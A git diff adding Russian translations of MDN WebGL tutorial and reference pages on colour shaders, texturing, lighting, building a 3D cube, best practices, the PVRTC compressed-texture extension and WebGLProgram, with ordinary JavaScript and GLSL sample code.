Здесь мы получаем цвет текселя, как и в предыдущем примере, но перед тем, как установить цвет фрагмента, мы умножаем цвет текселя на значение освещения, чтобы учесть влияние источников света.

+ +

Осталось только посмотреть на определение атрибута aVertexNormal и uniform-переменной uNormalMatrix.

+ +
  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      vertexNormal: gl.getAttribLocation(shaderProgram, 'aVertexNormal'),
+      textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+      normalMatrix: gl.getUniformLocation(shaderProgram, 'uNormalMatrix'),
+      uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),
+    },
+  };
+
+ +

И это всё!

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample7/index.html', 670, 510) }}

+ +

Посмотреть код примера полностью | Открыть демо в новом окне

+ +

Самостоятельные упражнения

+ +

Очевидно, что это простой пример, показывающий базовое вершинное освещение. В более продвинутой графике вам наверняка захочется сделать попиксельное освещение.

+ +

Также вы можете поэкспериментировать с направлением на источник света, цветами окружающего и направленного света, и т. д.

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

diff --git a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html new file mode 100644 index 0000000000..74299aa620 --- /dev/null +++ b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html @@ -0,0 +1,95 @@ +--- +title: Использование шейдеров для задания цвета в WebGL +slug: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +tags: + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

+ +

В предыдущей статье мы создали квадрат, следующим шагом будет добавление ему цвета. Мы можем сделать это, используя шейдеры.

+ +

Задание цвета вершинам

+ +

В GL, объекты строятся с использованием наборов вершин, для каждой из которых задается положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определенных цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.

+ +

Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зеленого и белый. Первое, что необходимо сделать - назначить эти цвета четырем вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию initBuffers():

+ +
  var colors = [
+    1.0,  1.0,  1.0,  1.0,    // белый
+    1.0,  0.0,  0.0,  1.0,    // красный
+    0.0,  1.0,  0.0,  1.0,    // зеленый
+    0.0,  0.0,  1.0,  1.0     // синий
+  ];
+
+  squareVerticesColorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+}
+
+ +

Этот код начинается с создания JavaScript массива, содержащего четыре вектора, содержащих по четыре значения каждый - по одному вектору для задания цвета каждой вершине. Затем новый WebGL буфер выделяет место в памяти для хранения этих цветов и массив приводится к вещественному формату WebGL и сохраняется в буфер.

+ +

Чтобы теперь использовать эти цвета, вершинному шейдеру необходимо обновиться, поместив соответствующий цвет из буфера цвета:

+ +
    <script id="shader-vs" type="x-shader/x-vertex">
+      attribute vec3 aVertexPosition;
+      attribute vec4 aVertexColor;
+
+      uniform mat4 uMVMatrix;
+      uniform mat4 uPMatrix;
+
+      varying lowp vec4 vColor;
+
+      void main(void) {
+        gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+        vColor = aVertexColor;
+      }
+    </script>
+
+ +

Ключевым отличием здесь является то, что для каждой вершины, мы задаем цвет на соответствующее значение из массива цвета.

+ +

Окраска фрагментов

+ +

Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведен его код:

+ +
    <script id="shader-fs" type="x-shader/x-fragment">
+      void main(void) {
+        gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+      }
+    </script>
+
+ +

Для того, чтобы подобрать интерполируемый цвет каждому пикселю, нам просто необходимо изменить его, получив значение из переменной vColor:

+ +
    <script id="shader-fs" type="x-shader/x-fragment">
+    	varying lowp vec4 vColor;
+
+      void main(void) {
+        gl_FragColor = vColor;
+      }
+    </script>
+
+ +

Это простое изменение, но с помощью него каждый фрагмент вместо фиксированного значения получает значение интерполируемого цвета на основе его расположения относительно вершин.

+ +

Отрисовка с использованием цветов

+ +

Далее, необходимо добавить код в процедуру initShaders() для задания значений атрибута цвета для шейдерной программы:

+ +
  vertexColorAttribute = gl.getAttribLocation(shaderProgram, "aVertexColor");
+  gl.enableVertexAttribArray(vertexColorAttribute);
+
+ +

Затем, drawScene() может быть исправлен на фактическое использование этих цветов при отрисовке квадрата:

+ +
  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
+
+ +

На этом этапе, вы можете посмотреть результат работы написанного кода, если используете браузер, поддерживающий WebGL. Вы увидете нечто похожее на следующий рисунок (расположенный по центру в большом черном поле):

+ +

screenshot.png

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

diff --git a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html new file mode 100644 index 0000000000..adbc0ff443 --- /dev/null +++ b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html @@ -0,0 +1,277 @@ +--- +title: Using textures in WebGL +slug: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

+ +

Сейчас наша программа рисует вращающийся объемный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.

+ +

Загрузка текстур

+ +

Сначала нужно добавить код для загрузки текстур. В нашем случае мы будем использовать одну текстуру, натянутую на все шесть граней вращающегося куба, но этот подход может быть использован для загрузки любого количества текстур.

+ +
+

Обратите внимание: Важно помнить, что загрузка текстур следует правилам кросс-доменности, что означает, что вы можете загружать текстуры только с сайтов, для которых ваш контент является CORS доверенным. См. подробности в секции "Кросс-доменные текстуры" ниже.

+
+ +

Код для загрузки текстур выглядит так::

+ +
//
+// Инициализация текстуры и загрузка изображения.
+// Когда загрузка изображения завершена - копируем его в текстуру.
+//
+function loadTexture(gl, url) {
+  const texture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Так как изображение будет загружено из интернета,
+  // может потребоваться время для полной загрузки.
+  // Поэтому сначала мы помещаем в текстуру единственный пиксель, чтобы
+  // её можно было использовать сразу. После завершения загрузки
+  // изображения мы обновим текстуру.
+  const level = 0;
+  const internalFormat = gl.RGBA;
+  const width = 1;
+  const height = 1;
+  const border = 0;
+  const srcFormat = gl.RGBA;
+  const srcType = gl.UNSIGNED_BYTE;
+  const pixel = new Uint8Array([0, 0, 255, 255]);  // непрозрачный синий
+  gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                width, height, border, srcFormat, srcType,
+                pixel);
+
+  const image = new Image();
+  image.onload = function() {
+    gl.bindTexture(gl.TEXTURE_2D, texture);
+    gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                  srcFormat, srcType, image);
+
+    // У WebGL1 иные требования к изображениям, имеющим размер степени 2,
+    // и к не имеющим размер степени 2, поэтому проверяем, что изображение
+    // имеет размер степени 2 в обеих измерениях.
+    if (isPowerOf2(image.width) && isPowerOf2(image.height)) {
+       // Размер соответствует степени 2. Создаем MIP'ы.
+       gl.generateMipmap(gl.TEXTURE_2D);
+    } else {
+       // Размер не соответствует степени 2.
+       // Отключаем MIP'ы и устанавливаем натяжение по краям
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+    }
+  };
+  image.src = url;
+
+  return texture;
+}
+
+function isPowerOf2(value) {
+  return (value & (value - 1)) == 0;
+}
+ +

Функция loadTexture() начинается с создания объекта WebGL texture вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создает текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.

+ +

Чтобы загрузить текстуру из файла изображения, функция создает объект Image и присваивает атрибуту src адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие image.onload,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.

+ +

В WebGL1 изображения размера, не являющегося степенью 2, могут использовать только NEAREST или LINEAR фильтрацию, и для них нельзя создать mipmap. Также для таких изображений мы должны установить натяжение CLAMP_TO_EDGE. С другой стороны, если изображение имеет размер степени 2 по обеим осям, WebGL может производить более качественную фильтрацию, использовать mipmap и режимы натяжения REPEAT или MIRRORED_REPEAT.

+ +

Примером повторяющейся текстуры является изображение нескольких кирпичей, которое размножается для покрытия поверхности и создания изображения кирпичной стены.

+ +

Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придется контролировать, как именно устройство будет обрабатывать текстуру.

+ +
// также разрешено gl.NEAREST вместо gl.LINEAR, но не mipmap.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+// Не допускаем повторения по s-координате.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+// Не допускаем повторения по t-координате.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+ +

Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный черный цвет rgba(0,0,0,0).

+ +

Для загрузки изображения добавим вызов loadTexture() в функцию main(). Код можно разместить после вызова initBuffers(gl).

+ +
// Загрузка текстуры
+const texture = loadTexture(gl, 'cubetexture.png');
+ +

Отображение текстуры на гранях

+ +

Сейчас текстура загружена и готова к использованию. Но сначала мы должны установить соответствие между координатами текстуры и гранями нашего куба. Нужно заменить весь предыдущий код, который устанавливал цвета граней в initBuffers().

+ +
  const textureCoordBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, textureCoordBuffer);
+
+  const textureCoordinates = [
+    // Front
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Back
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Top
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Bottom
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Right
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Left
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(textureCoordinates),
+                gl.STATIC_DRAW);
+
+...
+  return {
+    position: positionBuffer,
+    textureCoord: textureCoordBuffer,
+    indices: indexBuffer,
+  };
+ +

Сначала мы создаем WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.

+ +

Массив textureCoordinates определяет координаты текстуры, соответствующие каждой вершине каждой грани. Заметьте, что координаты текстуры лежат в промежутке между 0.0 и 1.0. Размерность текстуры нормализуется в пределах между 0.0 и 1.0, независимо от реального размера изображения.

+ +

После опредения массива координат текстуры, мы копируем его в буфер, и теперь WebGL имеет данные для отрисовки.

+ +

Обновление шейдеров

+ +

Мы должны обновить шейдерную программу, чтобы она использовала текстуру, а не цвета.

+ +

Вершинный шейдер

+ +

Заменяем вершинный шейдер, чтобы он получал координаты текстуры вместо цвета.

+ +
  const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec2 aTextureCoord;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying highp vec2 vTextureCoord;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vTextureCoord = aTextureCoord;
+    }
+  `;
+ +

Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаем их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.

+ +

Фрагментный шейдер

+ +

Также нужно обновить фрагментный шейдер:

+ +
  const fsSource = `
+    varying highp vec2 vTextureCoord;
+
+    uniform sampler2D uSampler;
+
+    void main(void) {
+      gl_FragColor = texture2D(uSampler, vTextureCoord);
+    }
+  `;
+ +

Вместо задания цветового значения цвету фрагмента, цвет фрагмента рассчитывается из текселя (пикселя внутри текстуры), основываясь на значении vTextureCoord, которое интерполируется между вершинами (как ранее интерполировалось значение цвета).

+ +

Атрибуты и uniform-переменные

+ +

Так как мы изменили атрибуты и добавили uniform-переменные, нам нужно получить их расположение

+ +
  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+      uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),
+    },
+  };
+ +

Рисование текстурированного куба

+ +

Сделаем несколько простых изменений в функции drawScene().

+ +

Во-первых, удаляем код, который определял цветовые буферы, и заменяем его на:

+ +
// Указываем WebGL, как извлечь текстурные координаты из буффера
+{
+    const num = 2; // каждая координата состоит из 2 значений
+    const type = gl.FLOAT; // данные в буфере имеют тип 32 bit float
+    const normalize = false; // не нормализуем
+    const stride = 0; // сколько байт между одним набором данных и следующим
+    const offset = 0; // стартовая позиция в байтах внутри набора данных
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.textureCoord);
+    gl.vertexAttribPointer(programInfo.attribLocations.textureCoord, num, type, normalize, stride, offset);
+    gl.enableVertexAttribArray(programInfo.attribLocations.textureCoord);
+}
+ +

Затем добавляем код, который отображает текстуру на гранях, прямо перед отрисовкой:

+ +
  // Указываем WebGL, что мы используем текстурный регистр 0
+  gl.activeTexture(gl.TEXTURE0);
+
+  // Связываем текстуру с регистром 0
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Указываем шейдеру, что мы связали текстуру с текстурным регистром 0
+  gl.uniform1i(programInfo.uniformLocations.uSampler, 0);
+ +

WebGL имеет минимум 8 текстурных регистров; первый из них gl.TEXTURE0. Мы указываем, что хотим использовать регистр 0. Затем мы вызываем функцию {{domxref("WebGLRenderingContext.bindTexture()", "bindTexture()")}}, которая связывает текстуру с TEXTURE_2D регистра 0. Наконец мы сообщаем шейдеру, что для uSampler используется текстурный регистр 0.

+ +

В завершение, добавляем аргумент texture в функцию drawScene().

+ +
drawScene(gl, programInfo, buffers, texture, deltaTime);
+...
+function drawScene(gl, programInfo, buffers, texture, deltaTime) {
+ +

Сейчас вращающийся куб должен именть текстуру на гранях.

+ + + +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample6/index.html', 670, 510) }}

+ +

Посмотреть код примера полностью | Открыть демо в новом окне

+ +

Кросс-доменные текстуры

+ +

Загрузка кросс-доменных текстур контролируется правилами кросс-доменного доступа. Чтобы загрузить текстуру с другого домена, она должна быть CORS доверенной. См. детали в статье HTTP access control.

+ +

В статье на hacks.mozilla.org есть объяснение с примером, как использовать изображения CORS для создания WebGL текстур.

+ +
+

Обратите внимание: Поддержка CORS для текстур WebGL и атрибут crossOrigin для элементов изображений реализованы в {{Gecko("8.0")}}.

+
+ +

Tainted (только-для-записи) 2D canvas нельзя использовать в качестве текстур WebGL. Например, 2D {{ HTMLElement("canvas") }} становится "tainted", когда на ней отрисовано кросс-доменное изображение.

+ +
+

Обратите внимание: Поддержка CORS для Canvas 2D drawImage реализована в  {{Gecko("9.0")}}. Это значит, что использование CORS доверенных кросс-доменных изображений больше не делает 2D canvas "tained" (только-для-записи),  и вы можете использовать такую 2D canvas как исходник для текстур WebGL.

+
+ +
+

Обратите внимание: Поддрежка CORS для кросс-доменного видео и атрибут crossorigin для HTML-элемента {{ HTMLElement("video") }} реализованы в {{Gecko("12.0")}}.

+
+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git "a/files/ru/web/api/webgl_api/tutorial/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_3d_\320\276\320\261\321\212\320\265\320\272\321\202\320\276\320\262_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_webgl/index.html" "b/files/ru/web/api/webgl_api/tutorial/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_3d_\320\276\320\261\321\212\320\265\320\272\321\202\320\276\320\262_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_webgl/index.html" new file mode 100644 index 0000000000..b5abccbe14 --- /dev/null +++ "b/files/ru/web/api/webgl_api/tutorial/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_3d_\320\276\320\261\321\212\320\265\320\272\321\202\320\276\320\262_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_webgl/index.html" @@ -0,0 +1,131 @@ +--- +title: Создание 3D объектов с помощью WebGL +slug: Web/API/WebGL_API/Tutorial/Создание_3D_объектов_с_помощью_WebGL +tags: + - WebGL + - Урок +translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

+ +

Давайте поместим наш квадрат в трехмерное пространство, добавив еще 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.

+ +

Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трем граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трем граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трех разных цветов, по одной для каждой грани.

+ +

Определение позиций вершин куба

+ +

Во первых, давайте построим буффер позиций вершин куба, обновив код в initBuffers(). Это в значительной степени то же самое как это было для квадрата, но несколько длиннее, так как здесь 24 вершины (4 с каждой стороны):

+ +
var vertices = [
+  // Передняя грань
+  -1.0, -1.0,  1.0,
+   1.0, -1.0,  1.0,
+   1.0,  1.0,  1.0,
+  -1.0,  1.0,  1.0,
+
+  // Задняя грань
+  -1.0, -1.0, -1.0,
+  -1.0,  1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0, -1.0, -1.0,
+
+  // Верхняя грань
+  -1.0,  1.0, -1.0,
+  -1.0,  1.0,  1.0,
+   1.0,  1.0,  1.0,
+   1.0,  1.0, -1.0,
+
+  // Нижняя грань
+  -1.0, -1.0, -1.0,
+   1.0, -1.0, -1.0,
+   1.0, -1.0,  1.0,
+  -1.0, -1.0,  1.0,
+
+  // Правая грань
+   1.0, -1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0,  1.0,  1.0,
+   1.0, -1.0,  1.0,
+
+  // Левая грань
+  -1.0, -1.0, -1.0,
+  -1.0, -1.0,  1.0,
+  -1.0,  1.0,  1.0,
+  -1.0,  1.0, -1.0
+];
+
+ +

Определение цветов вершин

+ +

Нам также нужно построить массив цветов для каждой из 24-х вершин. Этот код начинается с определения цветов для каждой грани, затем используется цикл для составления массива все всех цветов для каждой из вершин.

+ +
var colors = [
+  [1.0,  1.0,  1.0,  1.0],    // Front face: white
+  [1.0,  0.0,  0.0,  1.0],    // Back face: red
+  [0.0,  1.0,  0.0,  1.0],    // Top face: green
+  [0.0,  0.0,  1.0,  1.0],    // Bottom face: blue
+  [1.0,  1.0,  0.0,  1.0],    // Right face: yellow
+  [1.0,  0.0,  1.0,  1.0]     // Left face: purple
+];
+
+var generatedColors = [];
+
+for (j=0; j<6; j++) {
+  var c = colors[j];
+
+  for (var i=0; i<4; i++) {
+    generatedColors = generatedColors.concat(c);
+  }
+}
+
+cubeVerticesColorBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesColorBuffer);
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(generatedColors), gl.STATIC_DRAW);
+
+ +

Определение массива элементов

+ +

Как только массив вершин сгенерирован, нам нужно построить массив элементов.

+ +
cubeVerticesIndexBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+
+// Этот массив определяет каждую грань как два треугольника,
+// используя индексы в массиве вершин, чтобы определить позицию
+// каждого треугольника.
+
+var cubeVertexIndices = [
+  0,  1,  2,      0,  2,  3,    // front
+  4,  5,  6,      4,  6,  7,    // back
+  8,  9,  10,     8,  10, 11,   // top
+  12, 13, 14,     12, 14, 15,   // bottom
+  16, 17, 18,     16, 18, 19,   // right
+  20, 21, 22,     20, 22, 23    // left
+];
+
+// Теперь отправим массив элементов в GL
+
+gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+    new Uint16Array(cubeVertexIndices), gl.STATIC_DRAW);
+
+ +

Массив cubeVertexIndices определяет каждую грань как пару треугольников, сопоставляя каждой вершине треугольника индекс в массиве вершин куба. Таким образом куб можно представить как набор из 12 треугольников.

+ +

Рисование куба

+ +

Далее нам нужно обновить код нашей функции drawScene() , чтобы рисовать, используя буффер индексов куба, добавив новые вызовы {{domxref("WebGLRenderingContext.bindBuffer()", "gl.bindBuffer()")}} и {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}:

+ +
gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+setMatrixUniforms();
+gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+
+ +

Поскольку каждая грань нашего куба состоит из двух треугольников, где 6 вершин на каждой грани, или всего 36 вершин во всем кубе, даже если многие из них дублируются. Однако, поскольку наш массив индексов состоит из целых чисел, это не чрезмерное количество данных, посылаемых для каждого кадра анимации.

+ +

В данный момент у нас есть анимированный куб с гранями 6 разных цветов, который прыгает и вращается.

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample5/index.html', 670, 510) }}

+ +

View the complete code | Open this demo on a new page

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

diff --git a/files/ru/web/api/webgl_api/webgl_best_practices/index.html b/files/ru/web/api/webgl_api/webgl_best_practices/index.html new file mode 100644 index 0000000000..90b595c096 --- /dev/null +++ b/files/ru/web/api/webgl_api/webgl_best_practices/index.html @@ -0,0 +1,46 @@ +--- +title: Лучшие практики WebGL +slug: Web/API/WebGL_API/WebGL_best_practices +translation_of: Web/API/WebGL_API/WebGL_best_practices +--- +

{{WebGLSidebar}}

+ +

Эта статья содержит советы и рекомендации по улучшению качества ваших WebGL приложений. Следование данным советам поможет улучшить совместимость ваших веб-приложений с большим количеством устройств и браузеров, а также увеличить их производительность.

+ +

Чего следует избегать

+ + + +

О чем следует помнить.

+ + + +

Общие советы по повышению производительности

+ + diff --git a/files/ru/web/api/webgl_compressed_texture_pvrtc/index.html b/files/ru/web/api/webgl_compressed_texture_pvrtc/index.html new file mode 100644 index 0000000000..9beee4bd5b --- /dev/null +++ b/files/ru/web/api/webgl_compressed_texture_pvrtc/index.html @@ -0,0 +1,78 @@ +--- +title: WEBGL_compressed_texture_pvrtc +slug: Web/API/WEBGL_compressed_texture_pvrtc +translation_of: Web/API/WEBGL_compressed_texture_pvrtc +--- +
{{APIRef("WebGL")}}
+ +

Расширение WEBGL_compressed_texture_pvrtc часть WebGL API и представляет четыре сжатых формата текстур PVRTC.

+ +

Сжатые текстуры уменьшают количество памяти, использовуемые в GPU для хранения, позволяя большее разрешение для текстур или большее количество текстур с одинаковым разрешением.

+ +

WebGL расширения доступны через метод {{domxref("WebGLRenderingContext.getExtension()")}}. Для подробностей смотри также Использование расширений в туториале по WebGL.

+ +
+

Доступность:  Обычно PVRTC доступен тоько на мобильных устройсвах с чипсетом PowerVR. Используется во всех поколениях iPhone, iPod Touch и iPad и поддерживается на определённых Android устройствах, использующих PowerVR GPU.

+ +

Версии контекста, поддерживающие расширение:   {{domxref("WebGLRenderingContext", "WebGL1", "", 1)}} , и {{domxref("WebGL2RenderingContext", "WebGL2", "", 1)}}.

+
+ +

Константы

+ +

Форматы сжатых текстур представлены четырьмя константми и могут быть использованы в двух функциях:
+ {{domxref("WebGLRenderingContext.compressedTexImage2D", "compressedTexImage2D()")}} — параметры высота и ширина должны соотвествовать степени 2
+ {{domxref("WebGLRenderingContext.compressedTexSubImage2D", "compressedTexSubImage2D()")}} — парметры высоты и ширины должны быть равны размеру текстуры, а значения параметров xoffset и yoffset должны быть 0.

+ +
+
ext.COMPRESSED_RGB_PVRTC_4BPPV1_IMG
+
RGB сжатие в 4-битном режиме. Один блок на каждые 4×4 пикселей.
+
ext.COMPRESSED_RGBA_PVRTC_4BPPV1_IMG
+
RGBA сжатие в 4-битном режиме. Один блок на каждые 4×4 пикселей.
+
ext.COMPRESSED_RGB_PVRTC_2BPPV1_IMG
+
RGB сжатие в 2-битном режиме. Один блок на каждые 8×4 пикселей.
+
ext.COMPRESSED_RGBA_PVRTC_2BPPV1_IMG
+
RGBA сжатие в 2-битном режиме. Один блок на каждые 8×4 пикселей.
+
+ +

Примеры

+ +
var ext = gl.getExtension('WEBGL_compressed_texture_pvrtc');
+
+var texture = gl.createTexture();
+gl.bindTexture(gl.TEXTURE_2D, texture);
+
+gl.compressedTexImage2D(gl.TEXTURE_2D, 0, ext.COMPRESSED_RGB_PVRTC_4BPPV1_IMG, 512, 512, 0, textureData);
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WEBGL_compressed_texture_pvrtc', "", "WEBGL_compressed_texture_pvrtc")}}{{Spec2('WEBGL_compressed_texture_pvrtc')}}Начальное определение.
+ +

Браузерная совместимость

+ + + +

{{Compat("api.WEBGL_compressed_texture_pvrtc")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/webglprogram/index.html b/files/ru/web/api/webglprogram/index.html new file mode 100644 index 0000000000..30a772e8ef --- /dev/null +++ b/files/ru/web/api/webglprogram/index.html @@ -0,0 +1,98 @@ +--- +title: WebGLProgram +slug: Web/API/WebGLProgram +translation_of: Web/API/WebGLProgram +--- +
{{APIRef("WebGL")}}
+ +

WebGLProgram это часть WebGL API и комбинация двух составляющих {{domxref("WebGLShader")}}-ов, состоящих из вертикального и фрагментного шейдеров (оба написаны на GLSL). Затем они связываются в готовую к использованию программу.

+ +
var program = gl.createProgram();
+
+// Прикрепление уже существующих шейдеров
+gl.attachShader(program, vertexShader);
+gl.attachShader(program, fragmentShader);
+
+gl.linkProgram(program);
+
+if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(program);
+  throw "Could not compile WebGL program. \n\n" + info;
+}
+
+ +

